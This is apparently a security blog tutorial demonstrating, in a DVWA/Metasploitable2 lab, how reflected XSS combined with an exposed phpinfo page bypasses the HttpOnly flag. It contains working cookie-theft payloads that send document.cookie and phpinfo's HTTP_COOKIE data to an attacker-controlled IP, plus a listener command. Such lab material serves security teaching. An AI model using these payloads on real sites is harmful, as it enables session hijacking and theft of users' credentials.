
Bypassing the HttpOnly Flag Using PHP Info Page via XSS
In web security, the HttpOnly flag is a critical defense mechanism designed to prevent client-side scripts from accessing sensitive cookies such as session identifiers. However, in vulnerable PHP applications—like those hosted on Metasploitable2 using DVWA (Damn Vulnerable Web Application)—it’s possible to bypass this security control using XSS (Cross-Site Scripting) in combination with the phpinfo page.
This article walks you through a step-by-step demonstration of how this bypass works in a controlled lab environment.
Lab Setup Details
- Victim Machine (Metasploitable2 IP):
192.168.148.128
- Attacker Machine (Kali Linux IP):
192.168.148.129
- DVWA URL:
http://192.168.148.128/dvwa/
- Security Level: Set to Low in DVWA
Step 1: Identifying the XSS Vulnerability
Navigate to the Reflected XSS module in DVWA by clicking on the appropriate link.
Enter the following JavaScript payload in the text field and click “Submit”:
<script>alert(document.cookie)</script>
This will trigger a browser alert displaying the current cookie values. Since the HttpOnly flag is not set on either PHPSESSID
or the security
cookie, both are visible in the alert. The URL now looks like this:
http://192.168.148.128/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
Step 2: Testing HttpOnly Flag Behavior
To understand the effect of the HttpOnly flag, modify the browser’s cookie settings manually. Set the PHPSESSID
cookie with the HttpOnly flag set to true
, and rerun the same XSS payload.
Now, only the security
cookie is visible through document.cookie
, while PHPSESSID
remains hidden from JavaScript due to the HttpOnly
restriction.
Step 3: Leveraging the PHP Info Page
Check if the phpinfo page is accessible at:
http://192.168.148.128/dvwa/phpinfo.php
Search for the HTTP_COOKIE
section, and you’ll find both PHPSESSID
and security
cookies listed—even if PHPSESSID
is set with HttpOnly
.
This reveals a critical flaw: phpinfo page reflects all HTTP headers, including cookies, back into the response.
Step 4: Setting Up Attacker’s Web Server
On the Kali Linux machine, start a web server to capture incoming requests:
$ python3 -m http.server 80
This allows the attacker to receive data exfiltrated through XSS payloads.
Step 5: Basic Cookie Theft Using XSS
Use the following script to send the current cookie to the attacker’s server:
<script>
var i = new Image;
i.src = "http://192.168.148.129/" + btoa(document.cookie);
</script>
When submitted in DVWA’s XSS input, the attacker’s terminal will show a request like:
GET /c2VjdXJpdHk9bG93 HTTP/1.1
Decoding the base64 string (c2VjdXJpdHk9bG93
) in Burp Suite reveals:
security=low
This works only for cookies not protected with the HttpOnly
flag.
Step 6: Bypassing HttpOnly via phpinfo page
Here’s where the real bypass happens. Create a more advanced XSS payload that sends an authenticated request to phpinfo.php
, extracts cookie info, and forwards it to the attacker:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
var url = "http://192.168.148.128/dvwa/phpinfo.php";
req.withCredentials = true;
req.open("GET", url, false);
req.send();
function reqListener() {
var req2 = new XMLHttpRequest();
const sess = this.responseText.substring(this.responseText.indexOf("HTTP_COOKIE"));
req2.open("GET", "http://192.168.148.129/?data=" + btoa(sess), false);
req2.send();
};
</script>
When the victim executes this payload while logged in, the attacker’s server will capture a base64 string containing both the security
and PHPSESSID
cookies—despite the latter being protected with HttpOnly
.
Decoded result from Burp Suite might look like:
PHPSESSID=cookie value; security=low
Conclusion
This attack shows that even with the HttpOnly
flag enabled, sensitive cookies like PHPSESSID
can still be exposed if a vulnerable page like phpinfo()
is accessible. By combining reflected XSS with server-side misconfigurations, attackers can bypass client-side protections and steal session data. To prevent this, always secure applications by disabling debug pages, fixing XSS vulnerabilities, and properly configuring cookie settings.